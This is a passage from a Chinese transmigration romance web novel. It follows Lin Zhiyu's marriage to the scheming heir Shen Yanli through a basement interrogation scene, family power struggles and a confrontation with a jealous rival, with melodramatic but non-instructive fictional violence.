现在的自己和沈砚礼绑在一条船上,林家她回不去,沈家又狼争虎斗,嫁给沈砚礼后她是腹背受敌。
在确保她能平安回到现实世界之前,她得保证自己的人身安全。
更何况,隔墙有耳这种事她没少见识,这还是在人多眼杂的婚礼现场。
——
表演湖中的音乐喷泉,配合着旋律水柱不断变化高度形状,数千盏彩灯相交映射。
“妤儿,我们先回去了,嫁人了就不能像以前一样胡闹了知道吗?别给我们林家丢脸。” 林道海握着她的手语重心长的说,他满脸喜面容容,打着沈家的名号,今晚拿到的投资比公司最辉煌的时候还多。
他满心满眼都是对这个好女婿的赞赏,有了沈砚礼这棵大树,林家的香火还能再续几十年。
林知妤看着他两眼放光的面孔,对他的叮嘱笑而不语,心底五味杂陈,她忍不住将手掌抽了出来不想去理会他虚情假意的关怀。
她和沈砚礼站在一起,在场的,沈家,林家,向他们簇拥着。
个个面露喜色,表面是为他们这对新人祝福,背地里却是巴不得沈林两家马上决裂。
世家联姻,只有利益,没有真情,在这一刻她算是感受到了。
手心牵动,温热掌心触及,注意力被人打断,诧异中她朝沈砚礼看去,他神色如常,十分自然。
她抱着期待去想,
这又是几分真情——
沈隽逆着光拄着拐杖从人群中走来,她睫毛轻颤,一下就明白了。
这也是假的——
沈砚礼道:“爸。”
沈隽站定二人面前,他乐呵呵的看着林知妤,在沈砚礼的肩膀上轻拍感慨:“明明之前还小小一个,现在都成家了,要好好对小妤,别让她受委屈了知道吗?”
沈砚礼听后颔首回应:“我明白。”
众人面前,一出父慈子孝戏码,林知妤看在眼里心底暗叹,实在精彩。
原著中沈隽对沈砚礼的态度就是时好时坏,难辨真伪。
期间任凭陆煜宸对沈砚礼使各种手段他都不闻不问,但每在危机时刻又会施以援手,可真正到了结局又对沈砚礼的生死漠不关心。
但最后为其收尸的还是沈隽。
这也是为什么以至于到了最后,她都没搞懂,沈隽到底对沈砚礼抱有的是什么心思。
她的掌心还被他包裹在内,覆着薄茧的指腹摩擦着骨节,极地的声线出口唤她:“知妤。”
涣散的目光聚中,她恍回神,人群已经逐渐散去,故事的主人公搀扶着沈隽正在向他们告别。
回到沈公馆夜色已经深沉,别墅内还亮着灯,鹅卵石从大门开始浦沿。
走进屋内,房顶高悬的璀璨星空水晶吊灯长射暖光,晶体清透,流光溢彩屋内四处。
“我们不分开睡吗?”
灰白冷色调为主的卧室内,林知妤看着屋内陈设和沈砚礼面面相觑。
明明知道自己还对他抱有敌意,竟然还敢共处一室?
可男人不以为然的神情好像确实不在乎。
林知妤抬眸看他:“你不怕?”
沈砚礼双手环胸懒洋洋地依靠着门板回应:“我怕什么?”
“我们现在可是敌对关系,和我睡一张床,你不怕我半夜挥刀?”
男人听后犹自笑笑,他一副云淡风轻的模样,对她的威胁还思虑片刻,和缓反问:“你会吗?”
“你可以试试。”林知妤眉峰轻挑,冷呵一声。
这说的什么话?保不准呢,我一个手起刀落,直接回家。
沈砚礼低眉瞧她,清丽的眸子中带上怒火,似小猫炸毛,马上就要动口咬人。
他眼中饱含笑意,有意打趣却不想真的惹毛她,略抬下巴示意远处:“家里还有些钉子,我尽早清理了,放心我在沙发呆着,夜深没人了我再去书房。”
林知妤随着他的目光看去,灰色玻璃幕墙隔开两个区域,沙发掩盖在幕墙之后,不同于居室的柔黄光线,休闲区的悬浮线型灯光亮更为耀眼。
休闲区之后就是环型阳台,蕾丝纱帘迎风飘动,站在房门口能隐约感受到微风凉意。
忽略极致的冷色调,这简直是她梦想小屋的模样。
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沈砚礼还在依着门板等她的回应,他微侧着头,金黄色的灯光打在脸上笼了层阴暗不明的阴影,眉眼下的五官无可挑剔。
林知妤盯着他,细细思索这方法的可行度有多高,沈砚礼却姿态慵懒漫不经心,坦然直视她带着探究的目光,脸上并无半分细微变化。
她轻喟一声:“行吧。”
今非昔比,好像也只能这样。
沈砚礼说到做到,居室熄灯后,他将玻璃门拉上将两处空间彻底分开。
白炽灯透过水波纹,玻璃面反射出沙发上男人的模糊身影,他一手随意搭在腿上,长指在电脑触摸板上滑动。
静谧之下,隐隐有细脆的键盘敲打声,林知妤转了个身,瞧着板面上的若隐若现的黑影出了神。
很难想象书中无恶不作的大反派竟然是一个温文尔雅的矜贵公子,比起沈砚礼,反派这个角色陆煜宸反而更为符合,这也不怪自己一时间会将他的身份认错。
不过也是,男频多的是反转,没准陆煜宸的吊儿郎当也是装的,一切不过为了掩人耳目。
这么想来,也许就是这纨绔子弟的模样让沈砚礼放松了警惕,才能被其恶狼反扑。
林知妤脑袋枕着手背,不免开始后怕自己的处境。
嫁给沈砚礼,就已经在无形中被划分了阵营,书中并未提及反派妻子的下场,不过可想而知,不会有什么好结局。
季羡林的态度就能说明了一切,主角团并不待见自己,嫁与沈砚礼又非她所愿。
如今,她是骑虎难下。
想到着,她吁嗟一声感到无奈,玻璃门后的身影像是有所察觉,他侧过头看向玻璃后的居室。
吓得林知妤猛地将被子捂过头顶,尽显慌乱。
稀薄的空气又很快唤回了她的理智:“不是昂,我在慌什么?他又看不见。”
她一把将被子推开坐起来,不服输地对着沈砚礼的身影挥舞着双拳。
玻璃的那头无所反应,他似乎并未察觉异样,埋下头继续处理要事。
林知妤自觉无趣,那人又看不见,也不知道自己在干什么。
她重重趴回枕上,无声呐喊:“啊啊啊啊啊啊。”
发火给瞎子看。
被子盖过头顶,闷沉沉的女声响起:“睡觉——”
雷雨声轰鸣,玻璃门后已经暗淡无光,只余突闪而过的一道道刺眼光亮闪烁。
陌生的环境下,林知妤还以为自己会彻夜难眠,却没想到再醒来时她已经沉沉睡了三个小时。
手掌揉了揉太阳穴,脑袋沉沉的,好不容易清醒,拿过手机屏幕上显示时间已经到了凌晨1点。
室外还在电闪雷鸣。
口唇干裂的难受,手机电筒照着前方,林知妤摸索着往楼下走去。
一楼已经空无一人,楼梯边上有壁灯照明,整个别墅内寂寂无声,空有一股阴森感袭来。
二层通高的落地窗在月黑风高时将恐怖氛围拉到极致。
她摸着扶手一路向下,在岛台上拿过玻璃杯倒水喝。
雷电一闪而过,骇人的场面使她完全清醒,忍不住质疑:“这到底是男频文还是恐怖片?”
虽然自己从来不信这些,但是环境所至她还是忍不住胡思乱想。
左右环顾着四周,阴森的气氛使她毛骨悚然,杯中的水还未饮尽她就要匆匆放下:“算了算了,小命要紧。”
震耳的雷声突如其来,伴随的是男子疼痛下发出的刺耳尖叫:“啊——”
像是故意为之,紧随雷声其后,若不细听难以察觉。
5. 第 5 章
雨点打在落地窗上,水渍顺着窗面滑下,白光闪过天际,阴潮的空气沉甸甸地压着,像是预告着威胁的降临。
声响从楼梯后传来,细细听去现在还有若有似无的对话声。
林知妤将水杯轻轻放下,她扶着墙面伸着脖子去探,抑制的哭声时有时无,神经伴随着闪电跳动。
她心跳的厉害,像是要冲出胸膛跌入黑暗,林知妤手掌贴在胸口上,企图压制住心脏极速的跳动和自己难耐的好奇心。
室外如雷的雨声仿佛推动着她走向声源,脚步不受控制,鬼斧神差的,她就走到了楼梯后。
那是个地下室,被置物柜遮挡着的地下室,她推开虚掩着的门,狭窄的台阶映入眼帘。
随着声响她步步走向,光线透过没关严的门缝给昏暗的走廊微微照明。
林知妤扶着墙壁停在门口突然想到了什么。
此情此景,格外熟悉。
这不就是传说中的主角非要悄摸去凑个热闹然后被抓包的场景吗?
她唇角抽了抽,忍不住无声感慨:“真不怪人家,是我我也忍不住。”
“嗯啊——”
“我错了,小沈总,我真的错了,您放过我好不好,我知道小陆总的秘密,您放过我这一次,我告诉您,都告诉您。”
密闭的空间内,求饶声放大了数倍,房间内应该有窗户没关,风声传到走廊,林知妤感到丝丝凉意。
在做了半分钟的思想斗争后,对于是走是留这个世界难题,她最终还是情难自控,由心看向门缝内的世界。
男人折腿跪在地上,房间内红灯照明,光线灰暗,分不清他周遭的那一摊,是水是血,上位者长腿交叠,半边脸被虚掩在门后她看不清。
一根棒球棍从门后伸出在男人腿上比划着,男子眼被蒙着却似有所感应,他慌不择路向前爬去,在上位者前磕头求饶。
“晚了。”
一道既熟悉又陌生的声线。
林知妤愣了一下,是沈砚礼的声音。
林知妤不知道自己为什么会震惊,这是在他的别墅,除了他也不会有别人。
沈砚礼轻扬着下巴,鞋底压在男子低垂的肩膀上,双眸藏匿在幽暗的灯光下,神情晦涩不清,涌动着不稍加掩饰的侵略感。
鞋底踩着他撕裂的伤口,男子颤抖着身体,脸趴在地板上,吃痛的求饶。
“杨林,沈总待你可不薄,你这么作人可就没意思了。”
“吉安这么大一个项目,你不声不响就给出去了,当时怎么没想过背叛沈总是什么下场?”
棒球棍顺着背脊一路向上,停留在脑袋上的几下轻点,吓得男人更是发抖:“不要,不要,沈总,求求您,放过我吧,我知道,我知道……”
“您姑母还没死,陆煜宸给藏在疗养院呢,她当年没……没死……”
“老沈总,要……接她回来。”
他说的磕磕巴巴,却让在场的人都陷入了沉默,目光聚焦在沈砚礼身上,他却不为所动,仿佛这件事并没有震惊到足以让他有所反应。
他长指曲动,在大腿上轻叩,声音低哑感叹没有丝毫起伏:“一条命能让你说出来的信息还是这么不值钱。”
这话一出,掩在门后的两位大汉从地上将杨林架起,他双臂被人扯在身后,双腿神经无力在地板上拖拉着。
上位者下巴轻抬,像是下定了他最后的判决,棒球棍比划着在后脑勺高举,林知妤吓得捂住了嘴。
沈砚礼饶有兴致的表情一顿,视线看向门缝,那双清莹眼眸格外刺眼。
她的脸色苍白,眼中蒙上恐惧的色彩,赤红的光线照在脸上尤如一只误入虎穴的兔子,焦急无措,在发现自己暴露后,慌不择路的逃跑。
林知妤一路跑进卧室将房门反锁,她无力的跌倒在床边,胳膊垫着额头,粗气直喘。
心脏还在砰砰的跳,即使到了卧室,地下室那一幕还在脑中疯狂窜动,她手脚冰凉,控制不住的发抖。
呼吸好不容易平息,肌肤下被子柔软的触感又让她汗毛直立,她顿时反应过来,撑着手爬起来就往门口走。
这可是在沈砚礼的别墅,她躲在卧室也无济于事。
一想到那根棒球棍马上就要指到自己头上,她整个人都忍不住打寒颤。
“不行不行,我可不想脑袋开花。”
地下室的场景还历历在目,她的小命可不能就这样交代在这。
自己还要回家呢,就不该相信这种大反派说的话,装的人模人样的,没想到私底下这么残暴。
锁扣反转,林知妤将把手往下拧,门刚打开,一条横臂抵在门板上拦住了她的去路,淡淡雪松木清香扑面而来,在鼻尖萦绕。
她猝不及防,迅速将门掩上也来不及,沈砚礼单手撑着门,男女力量悬殊,她抵不过,条件反射下松开手,门板啪的一声砸在墙上。
他缓步走近,朝她步步紧逼,两人的距离顷刻拉进,雪松香在鼻尖更为浓郁。
屋外一片昏暗,男人的身影将她整个笼罩,阴翳的目光垂落在身上使她下意识地往后退。
“去哪?”他眸底深沉紧紧相逼。
“去哪?我回家我去哪……”
林知妤咽了咽口水,恐惧感侵略全身,她躲避沈砚礼的目光,看准自己离门口的距离,深吸一口气拼尽全力就往门口冲。
不等她接近门口,一只手臂就将她拦腰抱起,双腿悬空下,她慌乱中探手去扶他的肩膀。
“做什么?做什么?”她惊慌失措,不断挣扎,恐惧感席卷全身,“有话好好说,放我下来,先放我下来,”
沈砚礼步履稳健,丝毫没有因林知妤的挣扎而乱了步伐。
“你想这么跑了?我的话还怎么好好说?”沈砚礼语声低沉对她的挣扎不为所动。
一阵头晕眼花后,林知妤被甩在了床上,她挣扎着爬起来,却又被狠狠拽回。
细直长发铺洒席面,身段纤细起伏,他的手臂撑在耳旁,往前压着。
滚热的气息相交接触,林知妤手肘撑着床面一点点往后缩。
大手扶过脑后,将她的后路堵死,手掌使着力她头不受控制的往前抬,沈砚礼的气息扑在脸上,呼吸一滞,心脏控制不住的极速跳动。
“看到什么了?”他问。
林知妤战战兢兢
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不敢回答,这一刻的沈砚礼陌生的吓人,他沉着脸质问,仿佛处在地下室中,地上跪着的人变成了她。
“我……”
神经紧绷,大脑一片空白,她甚至都没办法思考该怎么回答这个问题,沈砚礼冷峻的表情就在眼前,他的样子像是如果她答错,下一秒棒球棍就会挥到自己脸上来。
长指捻过碎发,发丝在他指尖缠绕,他顿了顿,语气挑逗:“还没想好?”
“没……没看到?”她磕巴开口。
“没看到啊……”,他手上动作没停,眉梢轻挑嘴上挂着看似了然的笑意:“好孩子,知道什么该说什么不该说。”
身周压迫感在一瞬间散去,沈砚礼曲着手骨关节贴了贴她的左脸说道:“乖一点知道吗?”
没想象中的那么大难临头,随着他的骨节接触林知妤僵硬地点点头。
沈砚礼直起身看着她的反应忽而轻笑:“吓到了?”
她快速闪到一边,离他远远的,背脊贴着床头谨慎地盯着他。
很显然,是的。
大魔头搭着长腿在床尾坐下,两人的距离堪比银河。
他突然一问:“你也会背叛我吗?”
林知妤愣神,警惕下她违心回答:“不会。”
“不会吗?”,他低头思索。
林知妤不知道他在打什么主意,兔子被狼逮着,鲜美兔肉在前,她不信他没打什么坏主意。
温水煮兔肉?
不行,不行,小命不保,这个地方她迟早要跑。
“知道背叛我是什么下场吗?”沈砚礼轻身压近,西装裤贴着小腿,他手撑在她身后,近的贴在她耳边说话:“就像他一样……”
指腹贴着眼尾,冰凉的指尖描绘着眉间,吓得林知妤连连点头:“不会的不会的。”
他笑了笑,看来很满意自己的回答。
“去洗澡。”
林知妤一脸震惊:“什么?”
洗什么澡,现在就要解刨兔肉了吗?
他翻扯着她的衣领,地下室阴潮的气息钻入鼻孔,他表情一脸嫌弃:“脏死了。”
她哪脏!
林知妤咬着牙口,敢怒不敢言。
沈砚礼依靠着浴室门口,像是不信她会乖乖洗澡。
林知妤皱着眉瞧他,他仍然不为所动。
女生洗澡在门口站着是什么事?
“咔嗒”一声,门上落锁。
他低眉看向玻璃门,不免失笑。
水声哗哗,他自觉走开,室外暴雨直下,他站在门前抬眼望去思绪长远回想。
白光频频闪烁,忽明忽暗的光线照在脸上,五官融在黑夜中,眼眸却清亮异常。
水声不知不觉渐停,室内愈浓的雾气喷涌而出,少女揉擦着湿发走出,她先是警惕看了眼门旁,发现没人后又似放下心来。
身影逆光而现,白纱层层叠坠勾勒出窈窕有致的身躯,细腰薄腿,如那维纳斯出浴,美得勾魂摄魄。
沈砚礼呼吸停滞,将腕扣缓缓解开。
守株待兔——
他顿了顿,
守室待兔,这果然不是个好词。
6. 第 6 章
“好了?”
林知妤看门前无人,刚要松口气,身后就传来淡雅平静的声音。
她打了个激灵,慢吞吞的回头。
一想到自己刚才偷偷摸摸的行为都被人看在眼里,林知妤整个人都不好了。
她一副生死看淡的模样,回头强颜欢笑。
沈砚礼在解腕扣,他动作慢条斯理,一脸从容,似乎并没有对她刚才的所作所为上心。
林知妤悬在半空的心刚掉下来大半。
他唇角勾起,缓缓开口:“在找我吗?”
一句话又将她的心提到嗓子眼。
哪壶不提提哪壶——
林知妤尬笑缓解气氛,“哈哈,怎么会。”
丝绒质感贴合肌肤,真丝睡裙穿在身上,沈砚礼这么直勾勾地盯着自己,她突感不自在,有心退拒他离开:“你怎么还在这?夜深了快去书房睡吧。”
要是允许的话,她现在真想戳瞎他的眼,然后拿刀把他大卸八块。
林知妤恶狠狠地想着,脸上却是善心提议的笑容。
他薄唇挂着笑意:“那可不行,我走了刚娶的老婆可就跑了。”
沈砚礼说的轻描淡写,像是摸透了林知妤的内心想法。
林知妤打着哈哈,没有反驳。
她真打算一会趁他睡觉跑路来着。
沈砚礼步步走近,从置物架上抽出吹风机递给她:“好了,把头发吹干早点睡。”
林知妤“……”
不是大哥,是谁让她半夜洗澡啊。
她奋力将玻璃门用力拉上,以此泄气,梳妆台在床头不远,她梳理着头发,吹风机的“呼呼”声在耳畔作响。
沈砚礼手臂伸直搭着沙发包顶,他侧头看向水纹面后那曼妙身躯,她长发单侧披着,鼻尖还存留刚才靠近时闻到的洗发水味。
林知妤不知道,玻璃门板相叠时,光线透不过去,单只拉上后模糊的形景就会隐隐浮现。
三小时前她双拳挥舞的模样还历历在目,他低头轻笑。
沈砚礼没打算告诉她,由她自己发现,若是他提及,兔子炸毛的模样不难想象。
——
雀鸟轻啼,林知妤从睡梦中苏醒,她在枕下摸索着手机,习惯性的看向时间。
九点半了,窗帘拉着外面的光线透不进来,室内昏暗无光,她睡的大脑发昏,撑着手坐起来缓了好一会才彻底清醒。
水纹墙后已经无人,她踩着拖鞋往楼下走去,在二楼的缓台处垂目看向巨幅落地窗,绑带将奶茶色幻影纱束起。
阳光流淌进客厅,光影在白墙上游走,屋内处处透亮。
别墅很大,这样的落地窗有两处,岛台也被明亮光线辐照。
岛台前的餐桌上,男人坐在主位饶有兴致的翻看着手中晨报。
从旋转楼梯上下来,她盯着男人目不转睛。
新21世纪,她已经好久没见晨报这种东西了,没想到反派大佬还有这种小众爱好。
沈砚礼闻声抬眸,从报纸中剥夺出来思绪,看她面露红光一步步走下台阶,林知妤应该睡的很好,没有为昨晚的意外忧神。
杨林还不能死,他身上有用的信息不少,用的好没准能钓出大鱼。
昨晚只是想吓唬吓唬没打算动真格,送去管控区的路上却被人劫车救走,他是个有仇必报的,下手极毒狠辣。
自己摸爬滚打惯了,不怕这些,林知妤不行,一个娇娇小姐,伤不得痛不得,他得护着她。
沈砚礼眼底阴戾一瞬间转去,柔底取而代之,开口说:“早。”
不早,谁要和你早。
她快速瞥了一眼沈砚礼,叛逆心爆棚:“不早。”
男人见状无奈摇头,对她时不时的呛嘴已经习以为常,喉底不觉溢出几声低笑:“过来坐。”
肚子已经饿了半响,他不说自己也会过去,毕竟人是铁饭是钢,总得填饱肚子好做事。
林知妤假装随意走近将左边餐椅移开,她低眉瞧着沈砚礼手边的咖啡开口:“我也要。”
他点了点头,用指骨关节叩了叩右边的主位:“坐这。”
咖啡很快端上来,林知妤虽然不解,但也没较真,她绕过他身后在右边坐好。
西式小点摆了半桌,她挑着好看的夹了两样吃,味道都还不错。
陈助这时进来,看到她在旁边,他明显一愣。
似是有要紧事要说,他看着林知妤欲言又止。
林知妤刻意回避他的目光,故意不走。
赶我走?想的美。
他下意识看向沈砚礼:“沈总,这……”
沈砚礼慢条斯理将报纸合起侧眸看她,少女轻微拧眉似有威胁之意,人不大脾气倒是不小。
两人都期待他会怎么答复。
心底自觉好笑,淡定喝了一口咖啡,将两人的胃口都吊在了嗓子眼。
他悠悠放下淡然开口:“就在这说吧。”
林知妤脸上带着胜意的傲娇,将手边合上的报纸拿起,脸埋进里面假装不对他们的谈话上心。
沈砚礼懒散靠着椅背目睹她的所有小表情。
“陆雪梅被接回来了,现在在老宅暂住,今天晚上该通知您过去了。”
“杨林还没找到,陆煜宸身边也没有他的身影,那边应该是不知道他跑了。”
林知妤不动声色地听着,在脑海里回想着书中情节,她歪出头看了一眼沈砚礼又缩回来。
反正他也知道自己是穿书的不是吗?
问问也没什么。
下定决心后她重新探出头来问:“杨林是谁?”
书中人物的名字在她的脑海里通通模糊不清,她只能记得部分紧要情节。
“公司财政总监。”,沈砚礼停顿片刻后回答,想起了她自己说的特殊身份,顿了顿又开口道:“你知道他在哪?”
林知妤就知道他会问这个问题,不假思索地摇了摇头:“我怎么会知道?”
沈砚礼就是随口一问,他不指望林知妤能告诉自己杨林的行踪,这种小事他自己能查。
修长的指尖将她遮脸的报纸扯下,“昨晚那个人跑了,知道他在哪就躲着点,保护好自己。”
杨林知道自己不容易近身,肯定会走旁门左道以此要挟,看着自己身边坐着的旁门左道,他轻叹息道:“最近别走太远了知道吗?”
林知妤被他这么一说,寒颤频频,手中的糕点瞬间不香了。
大佬惹的祸,锚点却对到她脑袋上了,这和谁说理去啊?
一想到昨晚男人跪在
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地上的惨状,她两眼一黑。
不会他遭的罪都要在自己身上偿还吧?
幻想了下到时候的场景,她接连摇头。
不行不行。
她推了推沈砚礼的手臂,“你快,给我多备点保镖。”
她得惜命啊,到时候被绑了都没人发现,自己可不想成为尸体凉三天才被找到的苦命儿。
她掰着手指数,“3个。”
“不不不,5个。”
她睨眼瞧他的反应,他却唇角带笑。
始作俑者意识到自己失态,他轻咳一声掩饰慌乱,神色很快恢复淡然,淡定自若的点头配合:“行。”
林知妤没想到沈砚礼还敢笑话自己,她撑着蓦然站起来,大手一挥:“10个。”
沈砚礼也很是大方:“可以。”
陈助:“……”
命苦的还是打工人。
——
陈助说的没错,老宅的电话来的比预想的还快。
他们驱车前往时,正好是饭点。
“先生夫人,这边请。”
林知妤挽着沈砚礼的臂膀随着指引向里走去,还没等走近,一家人的欢声笑语就钻入耳孔,餐厅里氛围其乐融融。
电话里说是欢迎新妇,一家人一起聚聚吃个饭,可餐桌上所剩无几的菜食,又表面了是没有等他们就用餐了。
沈隽坐在中央位置,左边座位上的长辈不知道说了什么,哄的他哄堂大笑,连他们进来都没发现。
“爸。”
桌上几个人不知道是装的还是真的,全都没察觉餐厅来人,这声问候下主座上的长者才反应过来:“砚礼小妤,来了,坐吧坐吧,快坐。”
他用手示意着两人,陆煜宸带着季羡林坐在沈隽右手边,左手边则是那位没见过的长者。
那位应该就是路上沈砚礼提过的陆雪梅。
陆煜宸的奶奶,他的姑母——
他们要是落座只能在季羡林的旁和陆雪梅旁做选择。
但沈砚礼没动。
他不动,林知妤也不动。
一瞬间,气氛变得有些微妙。
沈砚礼像是在不满沈隽的安排,他在无形中用行动拒绝。
两边僵持不下,陆雪梅率先打破局面,她笑着站起来,“坐久了有些累,我去外面走走吧。”
沈隽坐着不动,却也没挽留陆雪梅。
陆煜宸一下明白了他要和沈砚礼单独谈话的意思,主动扶季羡林起来,“奶奶,我们陪您。”
季羡林临走时路过林知妤,她嗤笑一声,唇角勾起意味深长的笑弧。
林知妤:“……”
笑,笑,再笑给你眼挖了。
骨节分明的大手抚了抚她的后脑勺,他的声线很平,很淡:“在外面等等我?”
林知妤在两人间左右看了看,半响点头。
正好,能去探探主角团的口风。
天助她也。
林知妤走后,餐厅内只余父子二人面面相觑。
沈隽的拐杖在地上郑重敲了敲,他的声音苍老却带有上位者的威慑力,他意有所指:“这些都是聿礼的,他既然留有后代,那就都该还回来。”
“沈家这十五年待你不薄,砚礼你要懂得知恩图报。”
7. 第 7 章
“林知妤——”
她刚走出餐厅没几步,转眼就见季羡林靠在墙边等她。
她单臂倚着墙,两腿交错。
这姿态显然是有话要说,又或者——
是有意刁难。
林知妤双臂环胸,看着她样子莫名觉得好笑,这个季羡林对她的敌意比陆煜宸对自己的还大。
要不是自己知道剧情,这种情况她很难不往因对沈砚礼爱而不得,而对她这个新婚妻子加以为难的剧情上乱想。
在原著中季羡林是个恣意任性的千金小姐,她是助陆煜宸回沈家夺权的第一块踏板,后来季家落寞,陆雪梅立马将二人拆散,他也因此攀上了另一个高枝。
陆煜宸能成功夺权少不了他妈这个军师的各种谋算,以及不同女方的家底支持。
季羡林什么都好,就是善妒,陆煜宸说什么她都信,也是因为这一点,在原著后期他们频频为此事争吵,最后离心。
她看着眼前这个马上就会被舍弃的姑娘,不免觉得可惜。
季羡林经营能力远胜过陆煜宸,她若是将心放在自家企业上,能闯出来的名堂一定不小。
何必依附男人。
林知妤的无奈叹惋被她察觉,凤眼半眯,“你叹什么气?”
她平生最讨厌勾三搭四的女人,那张走廊暧昧的照片还印在脑海,既和沈砚礼订婚还来勾引她的丈夫,简直是风俗败坏。
在晚宴上她曾无意间回眸看到,少女站在香槟塔前,金黄通过杯壁透光而来照在她脸上,那弯眉笑意吸的人移不开眼。
她不止一次看着镜子自我怀疑,是不是自己不再年轻,陆煜宸对自己的新鲜感已经过去,他们恩爱不似从前,所以才会被外面的野花吸引。
可他一遍遍不厌其烦地向自己证明真心,是他说的,林知妤在勾引他。
只要是他说的,她就信。
“林知妤,嫁作人妇就不要再肖想不属于你的东西。”季羡林冷不丁地出言警告,而后又开口讥讽:“我季羡林的男人可不是你随随便便就想拿捏的,你和沈砚礼一样注定都是失败者,”
对于季羡林的讥讽,林知妤一下憋不住,嗤笑出声:“不是,我肖想谁?”
这大小姐还真把自己当成她的情敌啊。
有没有搞错。
想也知道林知妤不会承认,季羡林对她的回答似笑非笑。
她不是会让自己吃亏的人,晚宴上受的委屈她要全部讨回,包括勾引自己丈夫这件事一起,今天就一道清算。
季羡林哂笑中走近,她眼底平静冷漠,看自己的表情像是在看一具冰凉凉的尸体。
林知妤皱了皱眉知道她要动真格的了,心下一沉左右查看无人,应该都是被刻意支走了。
原来,她早就想好了今天要在这里教训自己。
季羡林手臂一挥,林知妤在手掌落在脸上前一把握住,原身的这具身体实在娇小,她使出全力才能堪堪将她拦下。
林知妤把手甩开,不动声色地将手背到身后上下轻甩,脸上依旧保持着平静:“季羡林,没有证据就不要乱说,是不是你老公巴巴凑上来还不一定呢。”
“你眼光放长远点,死盯着一个男人是没有好结果的”,她苦口婆心的劝解。
季羡林被她说得气急败坏:“煜宸勾引你?你哪点能让他喜欢?”
林知妤知道一直和她纠缠没有结果,推开她的身体就要往外走,再来一巴掌她可承受不起。
沈砚礼不在,被打了她也无处说理去。
季羡林没如她愿,一把拽过她的手腕推回,肩膀撞击墙体隐隐传来刺痛,她扶着墙壁稳住身体。
季羡林还抓着她手不放,右手撑在她耳旁,以一种壁咚的姿势将她围住。
林知妤挣扎不过无奈直视,企图唤回她失控的理智:“你疯了?这是在老宅。”
季羡林不以为然:“老宅怎么了,爷爷要是知道你脚踏两条船,嫁给沈砚礼还想着我们煜宸看看他站在谁那边。”
她说着话手里的劲却半分不减,手腕被攥着生疼,她左右扭着手臂想借此抽出。
季羡林力气实在大,她抽了半天纹丝不动。
她的耐心已经用完,心里想着大不了鱼死网破,谁都别想好过。
眼色极其不悦,她拧眉冷声:“你到底想怎么样?”
季羡林沉着脸继续警告:“不怎么样,你也别想着和沈砚礼离婚来勾搭煜宸,这辈子你就只能和沈砚礼绑在一起,生生死死相伴。”
林知妤嗤笑:“是嘛?那我谢谢你咯。”
季羡林由着她妄言,眼底带着高高在上的蔑视,攥着手腕的手越发使劲,“爷爷迟早把你们都赶出去,沈氏集团只会是煜宸的”
她对这件事似乎很有胜算。
沈砚礼在这时出声将她的气势全部打断。
“季小姐。”
他声色低沉,周身还带着未散尽的戾气。
他步步走出,紧接着是餐厅里碗碟摔碎在地上的声音,看样子这场谈判的赢家是沈砚礼。
听见来人阴沉的声音,季羡林脸色微变。
手腕上的蛮力一瞬间消失,林知妤趁她诧异间,迅速逃出危险范围,朝沈砚礼伸了伸手,他很快了然接住。
她指尖冰凉,手腕上的红痕格外刺眼。
就分开了这么一会的时间就受委屈了,他想。
沈砚礼翻看着手中的细腕,缓声问:“被欺负了?”
林知妤低着头,用只有两个人才能听见的声音嘀咕:“现在关心我有什么用?疼死我了。”
沈砚礼抿了抿唇,指腹轻柔摩挲安抚,他抬眸淡淡扫了眼季羡林,又低下头来像是在和她打商量:“我帮你出气好不好?”
这声不轻不重的询问,听在季羡林耳里像是阎王轻点生死簿,笔头重重在她名上一横,既定生死。
她身体忍不住发颤,开始怀疑自己是不是不该惹林知妤。
毕竟现在沈家是沈砚礼掌权,沈隽已经年迈,胜算几何还是未知数。
“认真的吗?”,林知妤有些震惊。
他现在不应该夹着尾巴做人吗?还大张旗鼓宣战,不想活了?
这世界,她不懂了。
沈砚礼见腕上红痕渐渐消淡,这才收回手转而揽上她的细腰,“当然。”
林知妤不假思索地点头:“那你动手快点
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,这里人多眼杂的。”
她不管了,什么正派反派,草莓派芒果派,能保护她的才是好派。
男人的视线在少女脸上凝瞩不转,她眉宇间带着点迫不及待的期待,正要开口吩咐。
身后传来老者苍白沙哑的声线救场,“够了。”
“还要闹到什么时候?”沈隽沉着脸,拐杖杵地发出声响。
他的出现将季羡林从幽暗深渊中拉回,她带着哭腔先发制人:“爷爷,林知妤她对我出言不逊,你快管管她。”
沈隽冷着脸不似从前那般哄她,“今晚都留在老宅吧,明早再回去。”
季羡林一脸不可置信,还要讨公道:“爷爷——”
沈隽却对此视若无睹,他杵了杵拐杖脸色低沉:“好啦,我累了,有什么事明天再说。”
林知妤冷静看着这对塑料祖孙,瞥了一眼沈砚礼。
他从容对上她的视线,依旧是那副风轻云淡的模样。
-
老宅内设有多处小院,他们一路走来,小院装修各不相同,沿着石子路向东就能走到独属沈砚礼的那座。
即使平常无人居住,小院内佣人也依旧每日清扫
在老宅众目睽睽之下,两人也不好分居而眠。
林知妤洗完澡忍不住站在床头沉思。
今晚真要睡一张床?
有点发展太快了吧,真不会出事吗?
沈砚礼看着一副正人君子的模样,但她也不敢完全相信他。
“咔哒”一声,浴室门打开,正人君子随后走出,林知妤闻声看去。
他身上还湿漉漉冒着热气,水珠顺着发梢滴落睡袍,腰间的系带松松散散的,林知妤目不转睛的看着他。
鬼使神差地她就想伸手将那带子扯下。
全然忘了刚才对他的质疑,比起他,林知妤觉得自己更有威胁。
反正都是夫妻了,大大方方给自家妻子看看怎么了?
又不犯法。
她是这么想可不敢这么做,她要是胆敢伸手,大佬绝对手起刀落,快刀斩乱马将她拿下。
小命就一条,可不敢随便就这么搭进去了。
她想强忍抵抗美男出浴图的诱惑,眼睛却不听使唤,直勾勾地盯着那处看。
偏偏大佬不这么想,他顺着林知妤的视线瞥了眼自己的绑带,唇角勾起笑意不紧不慢地朝她走来。
等林知妤再回过神,自己已经被困在床头和床头柜之间,小腿贴着床边,她扶着床头也不坐下,膝盖微弯勉强站着,她直着肩往后仰,语无伦次:“干干干干干……干嘛。”
沈砚礼不答,手臂撑在她扶着的床头上方,微凉的指尖将她牵起,指腹摩挲着手背牵引到绑带前。
温热的气息挑拨着心弦,兔子红了眼,不受控地被下了套。
他带着蛊惑的声音在耳边响起“解开吗?”
林知妤不自觉咽了咽口水,她根本受不住这样的诱惑,神经不自觉的就被男人牵着走,她无力地跌坐在床。
男人薄唇勾起,他把玩手中无力的指尖,一根一根数着,不厌其烦。
他眸中似水,带着她的食指去勾绑绳,“要不要?”
8. 第 8 章
室内空调开的很足,林知妤却觉得全身像被火烧般滚烫的厉害,男人蛊惑十足的声音在耳旁落下。
